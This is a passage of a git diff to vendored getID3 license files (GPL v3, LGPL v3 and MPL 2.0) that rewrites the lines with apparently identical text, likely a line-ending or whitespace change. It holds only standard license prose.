+ terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/vendor/james-heinrich/getid3/licenses/license.lgpl-30.txt b/vendor/james-heinrich/getid3/licenses/license.lgpl-30.txt index b14ca0a552..65c5ca88a6 100644 --- a/vendor/james-heinrich/getid3/licenses/license.lgpl-30.txt +++ b/vendor/james-heinrich/getid3/licenses/license.lgpl-30.txt @@ -1,165 +1,165 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - - This version of the GNU Lesser General Public License incorporates -the terms and conditions of version 3 of the GNU General Public -License, supplemented by the additional permissions listed below. - - 0. Additional Definitions. - - As used herein, "this License" refers to version 3 of the GNU Lesser -General Public License, and the "GNU GPL" refers to version 3 of the GNU -General Public License. - - "The Library" refers to a covered work governed by this License, -other than an Application or a Combined Work as defined below. - - An "Application" is any work that makes use of an interface provided -by the Library, but which is not otherwise based on the Library. -Defining a subclass of a class defined by the Library is deemed a mode -of using an interface provided by the Library. - - A "Combined Work" is a work produced by combining or linking an -Application with the Library. The particular version of the Library -with which the Combined Work was made is also called the "Linked -Version". - - The "Minimal Corresponding Source" for a Combined Work means the -Corresponding Source for the Combined Work, excluding any source code -for portions of the Combined Work that, considered in isolation, are -based on the Application, and not on the Linked Version. - - The "Corresponding Application Code" for a Combined Work means the -object code and/or source code for the Application, including any data -and utility programs needed for reproducing the Combined Work from the -Application, but excluding the System Libraries of the Combined Work. - - 1. Exception to Section 3 of the GNU GPL. - - You may convey a covered work under sections 3 and 4 of this License -without being bound by section 3 of the GNU GPL. - - 2. Conveying Modified Versions. - - If you modify a copy of the Library, and, in your modifications, a -facility refers to a function or data to be supplied by an Application -that uses the facility (other than as an argument passed when the -facility is invoked), then you may convey a copy of the modified -version: - - a) under this License, provided that you make a good faith effort to - ensure that, in the event an Application does not supply the - function or data, the facility still operates, and performs - whatever part of its purpose remains meaningful, or - - b) under the GNU GPL, with none of the additional permissions of - this License applicable to that copy. - - 3. Object Code Incorporating Material from Library Header Files. - - The object code form of an Application may incorporate material from -a header file that is part of the Library. You may convey such object -code under terms of your choice, provided that, if the incorporated -material is not limited to numerical parameters, data structure -layouts and accessors, or small macros, inline functions and templates -(ten or fewer lines in length), you do both of the following: - - a) Give prominent notice with each copy of the object code that the - Library is used in it and that the Library and its use are - covered by this License. - - b) Accompany the object code with a copy of the GNU GPL and this license - document. - - 4. Combined Works. - - You may convey a Combined Work under terms of your choice that, -taken together, effectively do not restrict modification of the -portions of the Library contained in the Combined Work and reverse -engineering for debugging such modifications, if you also do each of -the following: - - a) Give prominent notice with each copy of the Combined Work that - the Library is used in it and that the Library and its use are - covered by this License. - - b) Accompany the Combined Work with a copy of the GNU GPL and this license - document. - - c) For a Combined Work that displays copyright notices during - execution, include the copyright notice for the Library among - these notices, as well as a reference directing the user to the - copies of the GNU GPL and this license document. - - d) Do one of the following: - - 0) Convey the Minimal Corresponding Source under the terms of this - License, and the Corresponding Application Code in a form - suitable for, and under terms that permit, the user to - recombine or relink the Application with a modified version of - the Linked Version to produce a modified Combined Work, in the - manner specified by section 6 of the GNU GPL for conveying - Corresponding Source. - - 1) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (a) uses at run time - a copy of the Library already present on the user's computer - system, and (b) will operate properly with a modified version - of the Library that is interface-compatible with the Linked - Version. - - e) Provide Installation Information, but only if you would otherwise - be required to provide such information under section 6 of the - GNU GPL, and only to the extent that such information is - necessary to install and execute a modified version of the - Combined Work produced by recombining or relinking the - Application with a modified version of the Linked Version. (If - you use option 4d0, the Installation Information must accompany - the Minimal Corresponding Source and Corresponding Application - Code. If you use option 4d1, you must provide the Installation - Information in the manner specified by section 6 of the GNU GPL - for conveying Corresponding Source.) - - 5. Combined Libraries. - - You may place library facilities that are a work based on the -Library side by side in a single library together with other library -facilities that are not Applications and are not covered by this -License, and convey such a combined library under terms of your -choice, if you do both of the following: - - a) Accompany the combined library with a copy of the same work based - on the Library, uncombined with any other library facilities, - conveyed under the terms of this License. - - b) Give prominent notice with the combined library that part of it - is a work based on the Library, and explaining where to find the - accompanying uncombined form of the same work. - - 6. Revised Versions of the GNU Lesser General Public License. - - The Free Software Foundation may publish revised and/or new versions -of the GNU Lesser General Public License from time to time. Such new -versions will be similar in spirit to the present version, but may -differ in detail to address new problems or concerns. - - Each version is given a distinguishing version number. If the -Library as you received it specifies that a certain numbered version -of the GNU Lesser General Public License "or any later version" -applies to it, you have the option of following the terms and -conditions either of that published version or of any later version -published by the Free Software Foundation. If the Library as you -received it does not specify a version number of the GNU Lesser -General Public License, you may choose any version of the GNU Lesser -General Public License ever published by the Free Software Foundation. - - If the Library as you received it specifies that a proxy can decide -whether future versions of the GNU Lesser General Public License shall -apply, that proxy's public statement of acceptance of any version is -permanent authorization for you to choose that version for the -Library. + GNU LESSER GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + + This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + + 0. Additional Definitions. + + As used herein, "this License" refers to version 3 of the GNU Lesser +General Public License, and the "GNU GPL" refers to version 3 of the GNU +General Public License. + + "The Library" refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + + An "Application" is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + + A "Combined Work" is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the "Linked +Version". + + The "Minimal Corresponding Source" for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + + The "Corresponding Application Code" for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + + 1. Exception to Section 3 of the GNU GPL. + + You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + + 2. Conveying Modified Versions. + + If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + + a) under this License, provided that you make a good faith effort to + ensure that, in the event an Application does not supply the + function or data, the facility still operates, and performs + whatever part of its purpose remains meaningful, or + + b) under the GNU GPL, with none of the additional permissions of + this License applicable to that copy. + + 3. Object Code Incorporating Material from Library Header Files. + + The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + + a) Give prominent notice with each copy of the object code that the + Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the object code with a copy of the GNU GPL and this license + document. + + 4. Combined Works. + + You may convey a Combined Work under terms of your choice that, +taken together, effectively do not restrict modification of the +portions of the Library contained in the Combined Work and reverse +engineering for debugging such modifications, if you also do each of +the following: + + a) Give prominent notice with each copy of the Combined Work that + the Library is used in it and that the Library and its use are + covered by this License. + + b) Accompany the Combined Work with a copy of the GNU GPL and this license + document. + + c) For a Combined Work that displays copyright notices during + execution, include the copyright notice for the Library among + these notices, as well as a reference directing the user to the + copies of the GNU GPL and this license document. + + d) Do one of the following: + + 0) Convey the Minimal Corresponding Source under the terms of this + License, and the Corresponding Application Code in a form + suitable for, and under terms that permit, the user to + recombine or relink the Application with a modified version of + the Linked Version to produce a modified Combined Work, in the + manner specified by section 6 of the GNU GPL for conveying + Corresponding Source. + + 1) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (a) uses at run time + a copy of the Library already present on the user's computer + system, and (b) will operate properly with a modified version + of the Library that is interface-compatible with the Linked + Version. + + e) Provide Installation Information, but only if you would otherwise + be required to provide such information under section 6 of the + GNU GPL, and only to the extent that such information is + necessary to install and execute a modified version of the + Combined Work produced by recombining or relinking the + Application with a modified version of the Linked Version. (If + you use option 4d0, the Installation Information must accompany + the Minimal Corresponding Source and Corresponding Application + Code. If you use option 4d1, you must provide the Installation + Information in the manner specified by section 6 of the GNU GPL + for conveying Corresponding Source.) + + 5. Combined Libraries. + + You may place library facilities that are a work based on the +Library side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + + a) Accompany the combined library with a copy of the same work based + on the Library, uncombined with any other library facilities, + conveyed under the terms of this License. + + b) Give prominent notice with the combined library that part of it + is a work based on the Library, and explaining where to find the + accompanying uncombined form of the same work. + + 6. Revised Versions of the GNU Lesser General Public License. + + The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + + Each version is given a distinguishing version number. If the +Library as you received it specifies that a certain numbered version +of the GNU Lesser General Public License "or any later version" +applies to it, you have the option of following the terms and +conditions either of that published version or of any later version +published by the Free Software Foundation. If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. diff --git a/vendor/james-heinrich/getid3/licenses/license.mpl-20.txt b/vendor/james-heinrich/getid3/licenses/license.mpl-20.txt index 197b2ffdb0..14e2f777f6 100644 --- a/vendor/james-heinrich/getid3/licenses/license.mpl-20.txt +++ b/vendor/james-heinrich/getid3/licenses/license.mpl-20.txt @@ -1,373 +1,373 @@ -Mozilla Public License Version 2.0 -================================== - -1. Definitions --------------- - -1.1. "Contributor" - means each individual or legal entity that creates, contributes to - the creation of, or owns Covered Software. - -1.2. "Contributor Version" - means the combination of the Contributions of others (if any) used - by a Contributor and that particular Contributor's Contribution. - -1.3. "Contribution" - means Covered Software of a particular Contributor. - -1.4. "Covered Software" - means Source Code Form to which the initial Contributor has attached - the notice in Exhibit A, the Executable Form of such Source Code - Form, and Modifications of such Source Code Form, in each case - including portions thereof. - -1.5. "Incompatible With Secondary Licenses" - means - - (a) that the initial Contributor has attached the notice described - in Exhibit B to the Covered Software; or - - (b) that the Covered Software was made available under the terms of - version 1.1 or earlier of the License, but not also under the - terms of a Secondary License. - -1.6. "Executable Form" - means any form of the work other than Source Code Form. - -1.7. "Larger Work" - means a work that combines Covered Software with other material, in - a separate file or files, that is not Covered Software. - -1.8. "License" - means this document. - -1.9. "Licensable" - means having the right to grant, to the maximum extent possible, - whether at the time of the initial grant or subsequently, any and - all of the rights conveyed by this License. - -1.10. "Modifications" - means any of the following: - - (a) any file in Source Code Form that results from an addition to, - deletion from, or modification of the contents of Covered - Software; or - - (b) any new file in Source Code Form that contains any Covered - Software. - -1.11. "Patent Claims" of a Contributor - means any patent claim(s), including without limitation, method, - process, and apparatus claims, in any patent Licensable by such - Contributor that would be infringed, but for the grant of the - License, by the making, using, selling, offering for sale, having - made, import, or transfer of either its Contributions or its - Contributor Version. - -1.12. "Secondary License" - means either the GNU General Public License, Version 2.0, the GNU - Lesser General Public License, Version 2.1, the GNU Affero General - Public License, Version 3.0, or any later versions of those - licenses. - -1.13. "Source Code Form" - means the form of the work preferred for making modifications. - -1.14. "You" (or "Your") - means an individual or a legal entity exercising rights under this - License. For legal entities, "You" includes any entity that - controls, is controlled by, or is under common control with You. For - purposes of this definition, "control" means (a) the power, direct - or indirect, to cause the direction or management of such entity, - whether by contract or otherwise, or (b) ownership of more than - fifty percent (50%) of the outstanding shares or beneficial - ownership of such entity. - -2. License Grants and Conditions --------------------------------- - -2.1. Grants - -Each Contributor hereby grants You a world-wide, royalty-free, -non-exclusive license: - -(a) under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or - as part of a Larger Work; and - -(b) under Patent Claims of such Contributor to make, use, sell, offer - for sale, have made, import, and otherwise transfer either its - Contributions or its Contributor Version. - -2.2. Effective Date - -The licenses granted in Section 2.1 with respect to any Contribution -become effective for each Contribution on the date the Contributor first -distributes such Contribution. - -2.3. Limitations on Grant Scope - -The licenses granted in this Section 2 are the only rights granted under -this License. No additional rights or licenses will be implied from the -distribution or licensing of Covered Software under this License. -Notwithstanding Section 2.1(b) above, no patent license is granted by a -Contributor: - -(a) for any code that a Contributor has removed from Covered Software; - or - -(b) for infringements caused by: (i) Your and any other third party's - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - -(c) under Patent Claims infringed by Covered Software in the absence of - its Contributions. - -This License does not grant any rights in the trademarks, service marks, -or logos of any Contributor (except as may be necessary to comply with -the notice requirements in Section 3.4). - -2.4. Subsequent Licenses - -No Contributor makes additional grants as a result of Your choice to -distribute the Covered Software under a subsequent version of this -License (see Section 10.2) or under the terms of a Secondary License (if -permitted under the terms of Section 3.3). - -2.5. Representation - -Each Contributor represents that the Contributor believes its -Contributions are its original creation(s) or it has sufficient rights -to grant the rights to its Contributions conveyed by this License. - -2.6. Fair Use - -This License is not intended to limit any rights You have under -applicable copyright doctrines of fair use, fair dealing, or other -equivalents. - -2.7. Conditions - -Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted -in Section 2.1. - -3. Responsibilities -------------------- - -3.1. Distribution of Source Form - -All distribution of Covered Software in Source Code Form, including any -Modifications that You create or to which You contribute, must be under -the terms of this License. You must inform recipients that the Source -Code Form of the Covered Software is governed by the terms of this -License, and how they can obtain a copy of this License. You may not -attempt to alter or restrict the recipients' rights in the Source Code -Form. - -3.2. Distribution of Executable Form - -If You distribute Covered Software in Executable Form then: - -(a) such Covered Software must also be made available in Source Code - Form, as described in Section 3.1, and You must inform recipients of - the Executable Form how they can obtain a copy of such Source Code - Form by reasonable means in a timely manner, at a charge no more - than the cost of distribution to the recipient; and - -(b) You may distribute such Executable Form under the terms of this - License, or sublicense it under different terms, provided that the - license for the Executable Form does not attempt to limit or alter - the recipients' rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - -You may create and distribute a Larger Work under terms of Your choice, -provided that You also comply with the requirements of this License for -the Covered Software. If the Larger Work is a combination of Covered -Software with a work governed by one or more Secondary Licenses, and the -Covered Software is not Incompatible With Secondary Licenses, this -License permits You to additionally distribute such Covered Software -under the terms of such Secondary License(s), so that the recipient of -the Larger Work may, at their option, further distribute the Covered -Software under the terms of either this License or such Secondary -License(s). - -3.4. Notices - -You may not remove or alter the substance of any license notices -(including copyright notices, patent notices, disclaimers of warranty, -or limitations of liability) contained within the Source Code Form of -the Covered Software, except that You may alter any license notices to -the extent required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - -You may choose to offer, and to charge a fee for, warranty, support, -indemnity or liability obligations to one or more recipients of Covered -Software. However, You may do so only on Your own behalf, and not on -behalf of any Contributor. You must make it absolutely clear that any -such warranty, support, indemnity, or liability obligation is offered by -You alone, and You hereby agree to indemnify every Contributor for any -liability incurred by such Contributor as a result of warranty, support, -indemnity or liability terms You offer. You may include additional -disclaimers of warranty and limitations of liability specific to any -jurisdiction. - -4. Inability to Comply Due to Statute or Regulation ---------------------------------------------------- - -If it is impossible for You to comply with any of the terms of this -License with respect to some or all of the Covered Software due to -statute, judicial order, or regulation then You must: (a) comply with -the terms of this License to the maximum extent possible; and (b) -describe the limitations and the code they affect. Such description must -be placed in a text file included with all distributions of the Covered -Software under this License. Except to the extent prohibited by statute -or regulation, such description must be sufficiently detailed for a -recipient of ordinary skill to be able to understand it. - -5. Termination --------------- - -5.1. The rights granted under this License will terminate automatically -if You fail to comply with any of its terms. However, if You become -compliant, then the rights granted under this License from a particular -Contributor are reinstated (a) provisionally, unless and until such -Contributor explicitly and finally terminates Your grants, and (b) on an -ongoing basis, if such Contributor fails to notify You of the -non-compliance by some reasonable means prior to 60 days after You have -come back into compliance. Moreover, Your grants from a particular -Contributor are reinstated on an ongoing basis if such Contributor -notifies You of the non-compliance by some reasonable means, this is the -first time You have received notice of non-compliance with this License -from such Contributor, and You become compliant prior to 30 days after -Your receipt of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent -infringement claim (excluding declaratory judgment actions, -counter-claims, and cross-claims) alleging that a Contributor Version -directly or indirectly infringes any patent, then the rights granted to -You by any and all Contributors for the Covered Software under Section -2.1 of this License shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all -end user license agreements (excluding distributors and resellers) which -have been validly granted by You or Your distributors under this License -prior to termination shall survive termination. - -************************************************************************ -* * -* 6. Disclaimer of Warranty * -* ------------------------- * -* * -* Covered Software is provided under this License on an "as is" * -* basis, without warranty of any kind, either expressed, implied, or * -* statutory, including, without limitation, warranties that the * -* Covered Software is free of defects, merchantable, fit for a * -* particular purpose or non-infringing. The entire risk as to the * -* quality and performance of the Covered Software is with You. * -* Should any Covered Software prove defective in any respect, You * -* (not any Contributor) assume the cost of any necessary servicing, * -* repair, or correction. This disclaimer of warranty constitutes an * -* essential part of this License. No use of any Covered Software is * -* authorized under this License except under this disclaimer. * -* * -************************************************************************ - -************************************************************************ -* * -* 7. Limitation of Liability * -* -------------------------- * -* * -* Under no circumstances and under no legal theory, whether tort * -* (including negligence), contract, or otherwise, shall any * -* Contributor, or anyone who distributes Covered Software as * -* permitted above, be liable to You for any direct, indirect, * -* special, incidental, or consequential damages of any character * -* including, without limitation, damages for lost profits, loss of * -* goodwill, work stoppage, computer failure or malfunction, or any * -* and all other commercial damages or losses, even if such party * -* shall have been informed of the possibility of such damages. This * -* limitation of liability shall not apply to liability for death or * -* personal injury resulting from such party's negligence to the * -* extent applicable law prohibits such limitation. Some * -* jurisdictions do not allow the exclusion or limitation of * -* incidental or consequential damages, so this exclusion and * -* limitation may not apply to You. * -* * -************************************************************************ - -8. Litigation -------------- - -Any litigation relating to this License may be brought only in the -courts of a jurisdiction where the defendant maintains its principal -place of business and such litigation shall be governed by laws of that -jurisdiction, without reference to its conflict-of-law provisions. -Nothing in this Section shall prevent a party's ability to bring -cross-claims or counter-claims. - -9. Miscellaneous ----------------- - -This License represents the complete agreement concerning the subject -matter hereof. If any provision of this License is held to be -unenforceable, such provision shall be reformed only to the extent -necessary to make it enforceable. Any law or regulation which provides -that the language of a contract shall be construed against the drafter -shall not be used to construe this License against a Contributor. - -10. Versions of the License ---------------------------- - -10.1. New Versions - -Mozilla Foundation is the license steward. Except as provided in Section -10.3, no one other than the license steward has the right to modify or -publish new versions of this License. Each version will be given a -distinguishing version number. - -10.2. Effect of New Versions - -You may distribute the Covered Software under the terms of the version -of the License under which You originally received the Covered Software, -or under the terms of any subsequent version published by the license -steward. - -10.3. Modified Versions - -If you create software not governed by this License, and you want to -create a new license for such software, you may create and use a -modified version of this License if you rename the license and remove -any references to the name of the license steward (except to note that -such modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary -Licenses - -If You choose to distribute Source Code Form that is Incompatible With -Secondary Licenses under the terms of this version of the License, the -notice described in Exhibit B of this License must be attached. - -Exhibit A - Source Code Form License Notice -------------------------------------------- - - This Source Code Form is subject to the terms of the Mozilla Public - License, v. 2.0. If a copy of the MPL was not distributed with this - file, You can obtain one at http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular -file, then You may include the notice in a location (such as a LICENSE -file in a relevant directory) where a recipient would be likely to look -for such a notice. - -You may add additional 